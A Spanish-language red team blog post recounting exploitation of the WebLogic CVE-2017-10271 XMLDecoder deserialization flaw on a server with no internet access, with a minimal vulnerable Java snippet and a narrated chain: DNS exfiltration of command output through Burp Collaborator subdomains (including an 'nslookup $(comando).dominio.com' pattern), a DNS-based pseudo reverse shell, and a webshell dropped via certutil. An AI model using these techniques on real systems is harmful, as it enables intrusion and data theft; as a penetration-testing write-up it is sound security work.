Explotacion de Weblogic CVE-2017-10271 en entornos bastionados

Durante uno de los test de intrusión llevados a cabo por el equipo de Red Team, en el cual se trataba de lograr acceso a la red de una organización, haciendo uso de alguna vulnerabilididad en el perimetro, y sin ningún tipo de conocimiento previo de la misma, se tuvo que explotar la hasta ahora poco conocidad vulnerabilidad CVE-2017-10271 en Weblogic.

La vulnerabilidad

La vulnerabilidad se encuentra en la ruta /wls-wsat/CoordinatorPortType y se produce debido a que la clase WorkContextXmlInputAdapter.class utiliza el XML que se introduce sin ningún tipo de comprobación previa, pasándose a la funcion readObject, la cual al deserializar dicho XML provoca la ejecución remota de código.

A continuación se puede observar un código que posee la misma vulnerabilidad que Weblogic, aunque es mucho más sencillo de comprender en el siguiente escenario.

    public static void main(String[] args) {
        java.io.File file = new java.io.File ( "C:\\Users\\Administrador\\Desktop\\poc.txt" );
        java.beans.XMLDecoder xd = null ;
        try {
            xd = new java.beans.XMLDecoder ( new BufferedInputStream ( new FileInputStream (file)));
        } catch (FileNotFoundException e) {
            e.printStackTrace ();
        }
        Object s2 = xd.readObject ();
        xd.close ();
}

Como se puede observar, el fichero contendrá código xml el cual será parseado por java.beans.XMLDecoder y devolverá un objeto, que será deserializado por la función java.beans.XMLDecoder.readObject, y que producirá la ejecución remota de código.

En el caso de Weblogic la vulnerabilidad es muy similar.

Para comprobar si un servicio Weblogic es efectivamente vulnerable, se ha de buscar excepciones no controladas de Java al enviar ficheros XML con Java embebido mediante una petición POST a la ruta /wls-wsat/CoordinatorPortType como se muestra a continuación:

Respuesta devuelta por sistemas vulnerables

En este blog no se tiene como objetivo cubrir los detalles sobre la vulnerabilidad dado que éstos han sido cubiertos en muchos otros articulos publicados hasta el momento, sino que se pretende mostrar como esta vulnerabilidad podría ser explotada incluso en entornos restringidos los cuales no poseen salida a internet, y al tratarse de una ejecución de código en la cual no es observable la salida de lo ejecutado, otros métodos han tenido que ser desarrollados.

Explotación

Para llevar a cabo la explotación, el primer paso fue comprobar si los sistemas que el equipo había identificado eran efectivamente vulnerables, para lo cual se realizó un script, que envia un fichero XML usando Java, y que posteriormente comprueba si la respuesta de la aplicación web mostraba que efectivamente era vulnerable, o si por el contrario las aplicaciones estaban parcheadas.

Tras algunos intentos el equipo detectó un servicio Weblogic vulnerable, por lo que se procedió a explotar la vulnerabilidad.

Comprobación de la vulnerabilidad

En un primer intento, el equipo comprobó si la máquina tenía salida a internet, verificándose que no tenía acceso.

Tras esto, se detectó que la máquina no tenía binarios como sleep, por lo que realizar una inyección de comandos basada en tiempos quedaba completamente descartado, así que se buscaron otros metodos para realizar esta explotación.

Trás numerosas pruebas se detectó que la máquina tenía configurado un DNS interno, el cual al recibir peticiones hacia dominios de burpcollaborator realizaba dichas peticiones, lo cual permitiría exfiltrar cierta información usando los subdominios para incrustar en ellos la información que se iba exfiltrando de la máquina.

Exfiltración de información a través de Burp Collaborator

A partir de este punto se comenzó a desarrollar un fichero XML que permitiera exfiltrar la salida de los comandos ejecutados por DNS, lo cual en otros entornos es mucho más simple, usando la técnica nslookup $(comando).dominio.com, pero en este caso, tras ciertas pruebas se comprobó que dichos comandos no funcionarían, dado que el servicio Weblogic funcionaba sobre un servidor Windows, por lo tanto este metodo fue implementado en Java, usando un metodo para ejecutar comandos, leer cada linea, y posteriormente usar dichas lineas como variables, enviándolos como subdominios en las peticiones DNS.

Este proceso fue en parte automatizado haciendo uso de BurpSuite, más concretamente, usando una configuración de Burp Intruder para recibir en cada respuesta DNS la línea leida y el número de caracteres.

Contador de caracteres por DNS
Respuesta al XML que exfiltra dicha información
Respuesta al XML que exfiltra dicha información

Como se puede observar la explotación constaba, no solo de exfiltrar los comandos por DNS, sino que fue necesario desarrollar un método para contar el número de caracteres que devolvía cada comando, dado que no se pueden incluir más de 64 caracteres en un subdominio, por lo que con esta petición se contaban los caracteres de cada linea sobre los comandos ejecutados.

Posteriormente se realizaba la exfiltración de los caracteres en si, haciendo uso de las funciones java.lang.String.replace y java.lang.String.substr para reemplazar caracteres especiales, y exfiltrar tan solo el número de caracteres permitidos, como se muestra a continuación:

Contador de caracteres por DNS
Respuesta al XML que exfiltra dicha información

Este proceso permitió ir conociendo la estructura de ficheros del servidor, el usuario que ejecutaba la aplicación, comprobar los privilegios con los que se contaban, etc.

Poco a poco se fue desarrollando un automatismo que permitía recibir las respuestas en un servidor DNS escrito en python, el cual tenía un comportamiento cercano a una shell inversa, como se muestra a continuación:

Shell DNS

Utilizando estos automatismos el equipo fue capaz de encontrar un directorio con permisos de escritura en el cual se podían subir ficheros para ser posteriormente ejecutados por la aplicación Web (webshell).

En este punto el equipo tuvo que desarrollar un metodo para subir una webshell sin poder utilizar caracteres como ` > | `

Trás investigar durante un tiempo aplicaciones instaladas en un servidor Windows Server por defecto que permitieran codificar y decodificar base64 mediante un solo comando, se utilizó la utilidad certutil, la cual permite decodificar el contenido de un fichero, y volcarlo en un nuevo fichero.

Uso de certutil para codificar la información

Finalmente, usando este metodo se consiguió obtener una webshell en dicho servidor, y por tanto un vector de acceso limpio a la red interna de la organización.

Referencias:

Using XMLDecoder to execute server-side Java Code on an Restlet application